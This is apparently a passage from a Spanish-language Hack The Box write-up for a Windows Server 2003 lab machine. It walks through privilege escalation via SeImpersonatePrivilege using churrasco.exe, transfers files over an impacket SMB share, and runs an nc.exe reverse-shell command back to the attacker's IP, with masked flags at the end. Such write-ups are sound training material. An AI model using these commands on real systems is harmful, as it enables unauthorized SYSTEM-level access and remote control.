whoami
nt authority\network service

c:\windows\system32\inetsrv>

ESCALADA DE PRIVILEGIOS

  • Ejecutamos una serie de comandos de reconocimiento básicos
c:\windows\system32\inetsrv>systeminfo
systeminfo

Host Name:                 GRANPA
OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition
OS Version:                5.2.3790 Service Pack 2 Build 3790
OS Manufacturer:           Microsoft Corporation
OS Configuration:          Standalone Server
OS Build Type:             Uniprocessor Free
Registered Owner:          HTB
Registered Organization:   HTB
Product ID:                69712-296-0024942-44782
Original Install Date:     4/12/2017, 5:07:40 PM
System Up Time:            0 Days, 0 Hours, 2 Minutes, 31 Seconds
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               X86-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: x86 Family 25 Model 1 Stepping 1 AuthenticAMD ~2595 Mhz
BIOS Version:              INTEL  - 6040000
Windows Directory:         C:\WINDOWS
System Directory:          C:\WINDOWS\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:             en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (GMT+02:00) Athens, Beirut, Istanbul, Minsk
Total Physical Memory:     1,023 MB
Available Physical Memory: 801 MB
Page File: Max Size:       2,470 MB
Page File: Available:      2,336 MB
Page File: In Use:         134 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    HTB
Logon Server:              N/A
Hotfix(s):                 1 Hotfix(s) Installed.
                           [01]: Q147222
Network Card(s):           N/A

Como podemos ver nos estamos enfrentando a un Windows Server 2003, es un sistema bastantea antiguo y lo tenemos que tener en cuenta

c:\windows\system32\inetsrv>whoami /priv
whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeAuditPrivilege              Generate security audits                  Disabled
SeIncreaseQuotaPrivilege      Adjust memory quotas for a process        Disabled
SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled

  • Una de las utilidades que nos permite abusar del privilegio SeImpersonatePrivilege es Juicy-Potato para poder convertirnos en NT-AUTORITY-SYSTEM JUICY POTATO

  • Para sistemas antiguos puede que algunas veces el JuicyPotato puede que no funcione por lo que vamos a usar churrasco.exe debido a que nos enfrentamos contra un Windows Server 2003 ENLACE

  • Nos descargamos tanto churrasco.exe como nc.exe para luego entablarnos una reverse-shell a nuestro equipo con privilegios de NT-AUTORITY-SYSTEM

Para pasarnos churrasco.exe lo que vamos a hacer es crearnos un recurso compartido a nivel de red y a través de el transferirnos el fichero pero también se puede hacer de varias maneras que no vamos a contemplar

  • Creamos el recurso compartido a nivel de red en nuestra maquina atacante
ls
 churrasco.exe   nc.exe
❯ impacket-smbserver recurso $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
  • Nos los copiamos en la maquina Windows de la siguiente forma
C:\WINDOWS\Temp\privesc>copy \\10.10.16.13\recurso\churrasco.exe churrasco.exe
copy \\10.10.16.13\recurso\churrasco.exe churrasco.exe
        1 file(s) copied.

C:\WINDOWS\Temp\privesc>dir
dir
 Volume in drive C has no label.
 Volume Serial Number is FDCB-B9EF

 Directory of C:\WINDOWS\Temp\privesc

09/22/2024  09:26 PM    <DIR>          .
09/22/2024  09:26 PM    <DIR>          ..
09/22/2024  07:22 PM            31,232 churrasco.exe
               1 File(s)         31,232 bytes
               2 Dir(s)   1,335,246,848 bytes free

Una vez con churrasco en la maquina podemos hacer ejecución de comandos con privilegios

C:\WINDOWS\Temp\privesc>churrasco.exe "whoami"
churrasco.exe "whoami"
nt authority\system

Como vemos tenemos el privilegio de nt authority\system, por lo que vamos a mandarnos una reverse-shell a nuestra maquina atacante que nos pondremos en escucha por el puerto 4444, y haciendo uso del nc.exe nos otorgara dicha shell, para los que no sepais donde se encuentra el nc.exe yo lo tengo en la ruta /usr/share/wordlists/seclists/Web-Shells/FuzzDB/nc.exe cabe destacar que me he tenido que descargar el repositorio de SecLists.

  • Creamos otro recurso compartido a nivel de red, en este caso con diferente nombre para evitar fallos
impacket-smbserver recurso2 $(pwd) -smb2support
Impacket v0.11.0 - Copyright 2023 Fortra

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
  • Nos ponemos en escucha por el puerto 4444 en la maquina atacante y en la maquina victima ejecutamos lo siguiente
C:\WINDOWS\Temp\privesc>churrasco.exe "\\10.10.16.13\recurso2\nc.exe -e cmd 10.10.16.13 4444"
churrasco.exe "\\10.10.16.13\recurso2\nc.exe -e cmd 10.10.16.13 4444"
  • Recibimos nuestra shell con permisos de nt authority\system
rlwrap nc -nlvp 4444
Listening on 0.0.0.0 4444
Connection received on 10.10.10.14 1035
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.

C:\WINDOWS\TEMP>whoami
whoami
nt authority\system
  • Obtenemos las flags
C:\Documents and Settings\Harry\Desktop>type user.txt
type user.txt
bdff5ec67c3cff*********

C:\Documents and Settings>cd Administrator/Desktop
cd Administrator/Desktop

C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
9359e905a2c35************